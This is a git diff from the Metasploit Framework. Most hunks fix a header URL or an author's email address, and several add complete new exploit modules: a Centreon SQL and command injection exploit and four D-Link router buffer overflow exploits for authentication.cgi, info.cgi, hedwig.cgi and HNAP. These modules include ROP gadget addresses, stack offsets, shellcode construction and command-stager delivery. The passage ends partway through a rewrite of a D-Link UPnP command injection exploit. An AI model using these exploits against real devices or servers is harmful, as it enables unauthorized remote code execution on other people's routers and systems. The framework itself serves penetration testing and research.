502fa8126b..343ff95190 100644 --- a/modules/exploits/linux/http/alienvault_sqli_exec.rb +++ b/modules/exploits/linux/http/alienvault_sqli_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index 28344fa3ee..1eee4373bb 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/centreon_sqli_exec.rb b/modules/exploits/linux/http/centreon_sqli_exec.rb new file mode 100644 index 0000000000..7f49955c58 --- /dev/null +++ b/modules/exploits/linux/http/centreon_sqli_exec.rb @@ -0,0 +1,139 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Centreon SQL and Command Injection', + 'Description' => %q{ + This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon + Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command + injection in the displayServiceStatus.php component, it is possible to execute arbitrary + commands as long as there is a valid session registered in the centreon.session table. + In order to have a valid session, all it takes is a successful login from anybody. + The exploit itself does not require any authentication. + + This module has been tested successfully on Centreon Enterprise Server 2.2. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'MaZ', # Vulnerability Discovery and Analysis + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + ['CVE', '2014-3828'], + ['CVE', '2014-3829'], + ['US-CERT-VU', '298796'], + ['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78'] + ], + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'Space' => 1500, # having into account 8192 as max URI length + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl' + } + }, + 'Targets' => + [ + ['Centreon Enterprise Server 2.2', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 15 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon']) + ], self.class) + end + + def check + random_id = rand_text_numeric(5 + rand(8)) + res = send_session_id(random_id) + + unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif' + return Exploit::CheckCode::Safe + end + + injection = "#{random_id}' or 'a'='a" + res = send_session_id(injection) + + if res && res.code == 200 + if res.body && res.body.to_s =~ /sh: graph: command not found/ + return Exploit::CheckCode::Vulnerable + elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif' + return Exploit::CheckCode::Detected + end + end + + Exploit::CheckCode::Safe + end + + def exploit + if check == Exploit::CheckCode::Safe + fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") + elsif check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?") + end + + print_status("#{peer} - Exploiting...") + random_id = rand_text_numeric(5 + rand(8)) + random_char = rand_text_alphanumeric(1) + session_injection = "#{random_id}' or '#{random_char}'='#{random_char}" + template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**" + res = send_template_id(session_injection, template_injection) + + if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/ + vprint_status("Output: #{res.body}") + end + end + + def send_session_id(session_id) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'), + 'vars_get' => + { + 'session_id' => session_id + } + ) + + res + end + + def send_template_id(session_id, template_id) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'), + 'vars_get' => + { + 'session_id' => session_id, + 'template_id' => template_id + } + }, 3) + + res + end + + def mysql_payload + p = '' + payload.encoded.each_byte { |c| p << "#{c},"} + p + end + +end diff --git a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb index 270fe2af3d..27d546f05b 100644 --- a/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb +++ b/modules/exploits/linux/http/cfme_manageiq_evm_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb index bfbb0ab651..0b43b461ad 100644 --- a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb +++ b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb new file mode 100644 index 0000000000..e345dc28a1 --- /dev/null +++ b/modules/exploits/linux/http/dlink_authentication_cgi_bof.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link authentication.cgi Buffer Overflow', + 'Description' => %q{ + This module exploits an remote buffer overflow vulnerability on several D-Link routers. + The vulnerability exists in the handling of HTTP queries to the authentication.cgi with + long password values. The vulnerability can be exploitable without authentication. This + module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares + such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers + ], + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'References' => + [ + ['OSVDB', '95951'], + ['EDB', '27283'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site + ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory + ], + 'Targets' => + [ + [ 'D-Link DIR-645 1.03', + { + 'Offset' => 1011, + 'LibcBase' => 0x2aaf8000, #Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/authentication.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 200, + :concat_operator => " && " + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + uid = rand_text_alpha(4) + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/authentication.cgi", + 'cookie' => "uid=#{uid}", + 'encode_params' => false, + 'vars_post' => { + 'uid' => uid, + 'password' => rand_text_alpha(3) + shellcode, + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb index 718bc25350..21d0facf14 100644 --- a/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_command_php_exec_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 4928510332..d9a1f0ef17 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 125dab8587..4470db0325 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb index 4584c79a40..72f23c6e3a 100644 --- a/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb +++ b/modules/exploits/linux/http/dlink_dir605l_captcha_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/linux/http/dlink_dir615_up_exec.rb b/modules/exploits/linux/http/dlink_dir615_up_exec.rb index a4bb691c6e..c2b8c13e31 100644 --- a/modules/exploits/linux/http/dlink_dir615_up_exec.rb +++ b/modules/exploits/linux/http/dlink_dir615_up_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb new file mode 100644 index 0000000000..2fe19360ba --- /dev/null +++ b/modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link info.cgi POST Request Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different D-Link + devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component, + when handling specially crafted POST HTTP requests addresses to the /common/info.cgi + handler. This module has been successfully tested on D-Link DSP-W215 in an emulated + environment. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery and initial PoC + 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['OSVDB', '108249'], + ['URL', 'http://www.devttys0.com/2014/05/hacking-the-dspw215-again/'] # blog post from Craig including PoC + ], + 'Targets' => + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + [ 'D-Link DSP-W215 - v1.02', + { + 'Offset' => 477472, + 'Ret' => 0x405cec # jump to system - my_cgi.cgi + } + ] + ], + 'DisclosureDate' => 'May 22 2014', + 'DefaultTarget' => 0)) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/common/info.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/ + @my_target = targets[1] if target['auto'] + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Detected + end + + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("#{peer} - Exploiting #{@my_target.name}...") + execute_cmdstager( + :flavor => :echo, + :linemax => 185 + ) + end + + def prepare_shellcode(cmd) + buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler + buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system + + # la $t9, system + # la $s1, 0x440000 + # jalr $t9 ; system + # addiu $a0, $sp, 0x28 # our command + + buf << rand_text_alpha_upper(40) # Command to execute must be at $sp+0x28 + buf << cmd # Command to execute + buf << "\x00" # NULL terminate the command + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/common/info.cgi", + 'encode_params' => false, + 'vars_post' => { + 'storage_path' => shellcode, + } + }, 5) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb new file mode 100644 index 0000000000..e455b14a64 --- /dev/null +++ b/modules/exploits/linux/http/dlink_hedwig_cgi_bof.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on several D-Link + routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with + long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600 + and the DIR645A1_FW103B11 firmware. + }, + 'Author' => + [ + 'Roberto Paleari', # Vulnerability discovery + 'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit + 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OSVDB', '95950'], + ['EDB', '27283'], + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site + ['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router + ['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory + ], + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE, + 'Targets' => + [ + [ 'Multiple Targets: D-Link DIR-645 v1.03, DIR-300 v2.14, DIR-600', + { + 'Offset' => 973, + 'LibcBase' => 0x2aaf8000, # Router + #'LibcBase' => 0x40854000, # QEMU environment + 'System' => 0x000531FF, # address of system + 'CalcSystem' => 0x000158C8, # calculate the correct address of system + 'CallSystem' => 0x000159CC, # call our system + } + ] + ], + 'DisclosureDate' => 'Feb 08 2013', + 'DefaultTarget' => 0)) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/hedwig.cgi", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /unsupported HTTP request/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Accessing the vulnerable URL...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 200, + :concat_operator => " && " + ) + end + + def prepare_shellcode(cmd) + shellcode = rand_text_alpha_upper(target['Offset']) # padding + shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system + shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 + shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) + + # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 + # .text:000159D0 21 28 60 02 move $a1, $s3 # not used + # .text:000159D4 21 30 20 02 move $a2, $s1 # not used + # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system + # .text:000159DC 09 F8 20 03 jalr $t9 # call system + # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system + + shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp + shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) + + # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget + # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget + # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address + + shellcode << rand_text_alpha_upper(16) # filler in front of our command + shellcode << cmd + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/hedwig.cgi", + 'cookie' => "uid=#{shellcode}", + 'encode_params' => false, + 'vars_post' => { + rand_text_alpha(4) => rand_text_alpha(4) + } + }) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_hnap_bof.rb b/modules/exploits/linux/http/dlink_hnap_bof.rb new file mode 100644 index 0000000000..62f500e8eb --- /dev/null +++ b/modules/exploits/linux/http/dlink_hnap_bof.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link HNAP Request Remote Buffer Overflow', + 'Description' => %q{ + This module exploits an anonymous remote code execution vulnerability on different + D-Link devices. The vulnerability is due to an stack based buffer overflow while + handling malicious HTTP POST requests addressed to the HNAP handler. This module + has been successfully tested on D-Link DIR-505 in an emulated environment. + }, + 'Author' => + [ + 'Craig Heffner', # vulnerability discovery and initial exploit + 'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSBE, + 'References' => + [ + ['CVE', '2014-3936'], + ['BID', '67651'], + ['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC + ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029'] + ], + 'Targets' => + [ + # + # Automatic targeting via fingerprinting + # + [ 'Automatic Targeting', { 'auto' => true } ], + [ 'D-Link DSP-W215 - v1.0', + { + 'Offset' => 1000000, + 'Ret' => 0x405cac, # jump to system - my_cgi.cgi + } + ], + [ 'D-Link DIR-505 - v1.06', + { + 'Offset' => 30000, + 'Ret' => 0x405234, # jump to system - my_cgi.cgi + } + ], + [ 'D-Link DIR-505 - v1.07', + { + 'Offset' => 30000, + 'Ret' => 0x405c5c, # jump to system - my_cgi.cgi + } + ] + ], + 'DisclosureDate' => 'May 15 2014', + 'DefaultTarget' => 0)) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + begin + res = send_request_cgi({ + 'uri' => "/HNAP1/", + 'method' => 'GET' + }) + + if res && [200, 301, 302].include?(res.code) + if res.body =~ /DIR-505/ && res.body =~ /1.07/ + @my_target = targets[3] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body =~ /DIR-505/ && res.body =~ /1.06/ + @my_target = targets[2] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/ + @my_target = targets[1] if target['auto'] + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected + end + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + Exploit::CheckCode::Unknown + end + + def exploit + print_status("#{peer} - Trying to access the vulnerable URL...") + + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("#{peer} - Exploiting #{@my_target.name}...") + execute_cmdstager( + :flavor => :echo, + :linemax => 185 + ) + end + + def prepare_shellcode(cmd) + buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler + buf << rand_text_alpha_upper(4) # $s0, don't care + buf << rand_text_alpha_upper(4) # $s1, don't care + buf << rand_text_alpha_upper(4) # $s2, don't care + buf << rand_text_alpha_upper(4) # $s3, don't care + buf << rand_text_alpha_upper(4) # $s4, don't care + buf << [@my_target.ret].pack("N") # $ra + + # la $t9, system + # la $s1, 0x440000 + # jalr $t9 ; system + # addiu $a0, $sp, 0x28 # our command + + buf << rand_text_alpha_upper(40) # Stack filler + buf << cmd # Command to execute + buf << "\x00" # NULL-terminate the command + end + + def execute_command(cmd, opts) + shellcode = prepare_shellcode(cmd) + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "/HNAP1/", + 'encode_params' => false, + 'data' => shellcode + }, 5) + return res + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") + end + end +end diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 27b6bc1e9e..1f9b293979 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -1,18 +1,15 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = AverageRanking + Rank = NormalRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::EXE - include Msf::Exploit::FileDropper - include Msf::Auxiliary::CommandShell + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -20,202 +17,105 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no - output for the executed command when using the CMD target. Additionally, a target - to deploy a native mipsel payload, when wget is available on the target device, has - been added. This module has been tested on DIR-865 and DIR-645 devices. + output for the executed command. This module has been tested on DIR-865 and DIR-645 devices. }, 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module + 'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '94924' ], - [ 'BID', '61005' ], - [ 'EDB', '26664' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ] + ['OSVDB', '94924'], + ['BID', '61005'], + ['EDB', '26664'], + ['URL', 'http://www.s3cur1ty.de/m1adv2013-020'] ], 'DisclosureDate' => 'Jul 05 2013', 'Privileged' => true, - 'Platform' => %w{ linux unix }, 'Payload' => { - 'DisableNops' => true, + 'DisableNops' => true }, - 'Targets' => + 'Targets' => [ - [ 'CMD', #all devices + [ 'MIPS Little Endian', { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE } ], - [ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed + [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { - 'Arch' => ARCH_MIPSLE, - 'Platform' => 'linux' + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS } ], ], - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + register_options( [ - Opt::RPORT(49152), #port of UPnP SOAP webinterface - OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), - OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), - OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), + Opt::RPORT(49152) # port of UPnP SOAP webinterface ], self.class) end + def check + begin + res = send_request_cgi({ + 'uri' => '/InternetGatewayDevice.xml' + }) + if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-/ + return Exploit::CheckCode::Detected + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Unknown + end + def exploit - @new_portmapping_descr = rand_text_alpha(8) - @new_external_port = rand(65535) - @new_internal_port = rand(65535) + print_status("#{peer} - Trying to access the device ...") - if target.name =~ /CMD/ - exploit_cmd - else - exploit_mips + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end + + print_status("#{peer} - Exploiting...") + + execute_cmdstager( + :flavor => :echo, + :linemax => 400 + ) end - def exploit_cmd - if not (datastore['CMD']) - fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") - end - cmd = payload.encoded - type = "add" - res = request(cmd, type) - if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/) - fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - print_status("#{rhost}:#{rport} - Blind 